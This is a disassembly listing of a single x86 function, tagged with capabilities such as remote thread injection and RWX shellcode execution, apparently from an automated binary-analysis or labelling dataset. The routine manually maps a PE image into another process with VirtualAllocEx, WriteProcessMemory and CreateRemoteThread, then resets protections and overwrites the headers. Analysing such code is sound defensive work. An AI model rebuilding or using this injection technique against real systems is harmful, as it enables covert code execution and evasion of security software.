Function at 0x41a1f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov eax, dword [0x47f400]
xor eax, esp
mov dword [esp + 0x58], eax
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x41a4bf
mov ebx, edx
mov ebp, dword [edx + 0x3c]
movzx eax, word [edx + ebp + 4]
cmp eax, 0x14c
jne 0x41a4bf
mov esi, ecx
add ebp, ebx
push 4
push 0x3000
push dword [ebp + 0x50]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x41a4bf
mov edi, eax
mov dword [esp + 0x54], 0
lea eax, [esp + 0x54]
push eax
push 0x40
push dword [ebp + 0x50]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movaps xmm0, xmmword [0x471530]
movups xmmword [esp + 0x44], xmm0
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x38], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], edi
push 0
push 0x1000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41a470
mov dword [esp], edi
mov dword [esp + 4], esi
lea eax, [ebp + 0x18]
mov dword [esp + 0xc], eax
movzx eax, word [ebp + 6]
test ax, ax
je 0x41a309
movzx ecx, word [ebp + 0x14]
mov edx, dword [esp + 0xc]
lea edi, [edx + ecx]
add edi, 0x14
xor esi, esi
jmp 0x41a2db
inc esi
movzx ecx, ax
add edi, 0x28
cmp esi, ecx
je 0x41a309
mov ecx, dword [edi - 4]
test ecx, ecx
je 0x41a2d0
mov eax, dword [edi]
add eax, ebx
mov edx, dword [edi - 8]
add edx, dword [esp]
push 0
push ecx
push eax
push edx
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41a4aa
movzx eax, word [ebp + 6]
jmp 0x41a2d0
sub esp, 0x14
movaps xmm0, xmmword [0x471540]
movups xmmword [esp + 4], xmm0
mov edi, dword [esp + 0x18]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x41a49c
mov ebx, eax
lea eax, [esp + 0x38]
push 0
push 0x1c
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41a47b
sub esp, 0x14
movaps xmm0, xmmword [0x471550]
movups xmmword [esp + 4], xmm0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x41a47b
mov esi, eax
push 0
push 0x1000
push 0x41a740
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41a548
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x41a576
mov dword [esp + 8], esi
mov dword [esp + 0x14], ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x34], 0
lea eax, [esp + 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x34], 0x103
jne 0x41a4bf
xorps xmm0, xmm0
movups xmmword [esp + 0x24], xmm0
movups xmmword [esp + 0x18], xmm0
push 0
push 0x1c
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push edi
call ebx
mov edi, dword [esp + 0x24]
cmp edi, 0x404040
je 0x41a5a5
push 0xa
call esi
test edi, edi
mov edi, dword [esp + 4]
je 0x41a3ba
push 0x1400000
call fcn.0044f3f4
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x41a4bf
xor esi, esi
mov ebx, dword [esp + 0x10]
mov ecx, ebx
xor edx, edx
push 0x1400000
call fcn.004121b0
add esp, 4
push 0
push 0x1000
push ebx
push dword [esp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [ebp + 0x14]
add ebx, dword [esp + 0xc]
cmp word [ebp + 6], 0
jne 0x41a501
jmp 0x41a653
push 0x8000
push 0
push edi
push esi
jmp 0x41a4b9
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 8]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
jmp 0x41a4bf
push 0x8000
push 0
push dword [esp + 8]
push edi
jmp 0x41a4b9
push 0x8000
push 0
push dword [esp + 8]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor ebx, ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.0043b6ab
mov eax, ebx
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebx + 0xc]
add eax, dword [esp]
push 0
push dword [ebx + 8]
push dword [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, esi
inc ecx
add ebx, 0x28
movzx eax, word [ebp + 6]
mov esi, ecx
cmp ecx, eax
je 0x41a5db
cmp dword [ebx + 8], 0
je 0x41a4ed
call fcn.0041aa10
mov ecx, ebx
mov edx, 0x539209
call fcn.0041aa40
test al, al
jne 0x41a4d6
call fcn.0041aa90
mov ecx, ebx
mov edx, 0x539212
call fcn.0041aa40
test al, al
jne 0x41a4d6
call fcn.0041aac0
mov ecx, ebx
mov edx, 0x53921a
call fcn.0041aa40
test al, al
jne 0x41a4d6
jmp 0x41a4ed
mov ebp, esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 8]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push 0x8000
push 0
push ebp
jmp 0x41a497
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 8]
push edi
call ebp
push 0x8000
push 0
push ebx
push edi
call ebp
push 0x8000
push 0
push esi
push edi
call ebp
jmp 0x41a4bf
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 8]
mov edi, dword [esp + 0x10]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x1c]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x10]
jmp 0x41a497
movzx ebx, word [ebp + 0x14]
add ebx, dword [esp + 0xc]
test ax, ax
je 0x41a653
add ebx, 8
xor edi, edi
jmp 0x41a5fa
inc edi
movzx ecx, ax
add ebx, 0x28
cmp edi, ecx
je 0x41a645
mov ecx, dword [ebx]
test ecx, ecx
je 0x41a5ef
mov dword [esp + 0x18], 0
mov eax, dword [ebx + 0x1c]
test eax, 0x20000000
mov edx, 0x20
mov esi, 2
cmove edx, esi
test eax, eax
mov eax, 4
cmovs edx, eax
mov eax, dword [ebx + 4]
add eax, dword [esp]
lea esi, [esp + 0x18]
push esi
push edx
push ecx
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movzx eax, word [ebp + 6]
jmp 0x41a5ef
movzx eax, word [ebp + 0x14]
mov ebx, dword [esp + 0xc]
add ebx, eax
mov edi, dword [esp + 4]
mov ebp, dword [esp + 8]
mov dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push 2
push dword [ebx + 0xc]
push dword [esp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0x1000
push dword [esp + 0x18]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push ebp
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x1c]
push edi
call esi
mov bl, 1
jmp 0x41a4c1